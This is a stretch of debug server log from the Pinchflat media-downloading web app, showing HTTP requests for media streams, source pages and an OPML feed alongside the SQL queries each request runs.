23:26:26.169 [info] GET /media/2b411929-b36f-4f4d-a393-4adeee622154/stream 23:26:26.169 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "2b411929-b36f-4f4d-a393-4adeee622154", "v" => "1774664389"} Pipelines: [:maybe_basic_auth] 23:26:26.169 [debug] QUERY OK source="media_items" db=0.1ms idle=552.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["2b411929-b36f-4f4d-a393-4adeee622154"] 23:26:26.169 [info] Sent 404 in 525µs 23:26:26.694 [info] GET /media/40fb25cb-3d81-4054-b019-67d238d6478f/stream 23:26:26.694 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "40fb25cb-3d81-4054-b019-67d238d6478f", "v" => "1774664240"} Pipelines: [:maybe_basic_auth] 23:26:26.695 [debug] QUERY OK source="media_items" db=0.1ms idle=1077.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["40fb25cb-3d81-4054-b019-67d238d6478f"] 23:26:26.695 [info] Sent 404 in 565µs 23:26:27.734 [info] GET /sources/1/media/5 23:26:27.734 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:27.734 [debug] QUERY OK source="media_items" db=0.2ms idle=1039.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 23:26:27.735 [debug] QUERY OK source="tasks" db=0.1ms idle=806.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5] 23:26:27.735 [debug] QUERY OK source="sources" db=0.3ms idle=223.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:27.735 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=223.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [8] 23:26:27.736 [debug] QUERY OK source="settings" db=0.0ms idle=223.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:27.736 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:27.736 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:27.737 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:27.738 [info] Sent 200 in 4ms 23:26:28.327 [info] GET /sources/1/media/4 23:26:28.327 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:28.328 [debug] QUERY OK source="media_items" db=0.2ms idle=591.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 23:26:28.328 [debug] QUERY OK source="tasks" db=0.2ms idle=592.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4] 23:26:28.328 [debug] QUERY OK source="sources" db=0.3ms idle=592.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:28.329 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=591.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7] 23:26:28.329 [debug] QUERY OK source="settings" db=0.5ms idle=399.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:28.330 [debug] QUERY OK source="settings" db=0.5ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:28.331 [debug] QUERY OK source="settings" db=0.1ms queue=0.5ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:28.332 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:28.333 [info] Sent 200 in 5ms 23:26:28.832 [info] GET /media/9ad4d6a2-a8d5-4d36-a8be-552c243b28f1/stream 23:26:28.832 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "9ad4d6a2-a8d5-4d36-a8be-552c243b28f1", "v" => "1774662748"} Pipelines: [:maybe_basic_auth] 23:26:28.833 [debug] QUERY OK source="media_items" db=0.2ms idle=503.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["9ad4d6a2-a8d5-4d36-a8be-552c243b28f1"] 23:26:28.833 [info] Sent 404 in 793µs 23:26:29.082 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:29.306 [info] GET /media/e5744a5f-edc7-4a92-add4-0f26a66bd739/stream 23:26:29.307 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "e5744a5f-edc7-4a92-add4-0f26a66bd739", "v" => "1774660782"} Pipelines: [:maybe_basic_auth] 23:26:29.307 [debug] QUERY OK source="media_items" db=0.1ms idle=975.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["e5744a5f-edc7-4a92-add4-0f26a66bd739"] 23:26:29.307 [info] Sent 404 in 498µs 23:26:29.820 [info] GET /media/428fefc3-4a3b-4013-a9da-7d53d027e1c0/stream 23:26:29.820 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "428fefc3-4a3b-4013-a9da-7d53d027e1c0", "v" => "1774664133"} Pipelines: [:maybe_basic_auth] 23:26:29.821 [debug] QUERY OK source="media_items" db=0.2ms idle=987.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["428fefc3-4a3b-4013-a9da-7d53d027e1c0"] 23:26:29.821 [info] Sent 404 in 742µs 23:26:30.369 [info] GET /media/d99b1ca9-d05a-4fdf-ae4a-a43d799aea11/stream 23:26:30.369 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d99b1ca9-d05a-4fdf-ae4a-a43d799aea11", "v" => "1774663892"} Pipelines: [:maybe_basic_auth] 23:26:30.369 [debug] QUERY OK source="media_items" db=0.1ms idle=1287.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d99b1ca9-d05a-4fdf-ae4a-a43d799aea11"] 23:26:30.369 [info] Sent 404 in 594µs 23:26:30.853 [info] GET /sources/opml.xml 23:26:30.853 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "2b3f1b46-5b8c-47f1-8d20-daf32874a091"} Pipelines: [:maybe_basic_auth, :token_protected_route] 23:26:30.853 [debug] QUERY OK source="settings" db=0.1ms idle=1341.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:30.854 [debug] QUERY OK source="sources" db=0.0ms idle=1032.7ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 23:26:30.854 [info] Sent 200 in 747µs 23:26:31.378 [info] GET /sources/3 23:26:31.378 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 23:26:31.379 [debug] QUERY OK source="sources" db=0.3ms idle=1009.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:26:31.379 [debug] QUERY OK source="media_profiles" db=0.1ms idle=867.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:31.380 [debug] QUERY OK source="tasks" db=0.1ms idle=526.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 23:26:31.380 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=526.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [122] 23:26:31.380 [debug] QUERY OK source="settings" db=0.1ms idle=448.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:31.381 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:31.381 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:31.382 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:26:31.383 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:26:31.383 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:26:31.384 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:26:31.384 [debug] QUERY OK source="media_items" db=0.0ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 23:26:31.384 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:26:31.385 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:26:31.385 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 23:26:31.385 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:26:31.386 [info] Sent 200 in 7ms 23:26:31.906 [info] GET /sources/3/edit 23:26:31.906 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 23:26:31.906 [debug] QUERY OK source="sources" db=0.1ms idle=522.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:26:31.907 [debug] QUERY OK source="media_profiles" db=0.1ms idle=522.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:26:31.907 [debug] QUERY OK source="settings" db=0.1ms idle=522.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:31.907 [debug] QUERY OK source="settings" db=0.1ms idle=522.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:31.908 [debug] QUERY OK source="settings" db=0.1ms idle=522.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 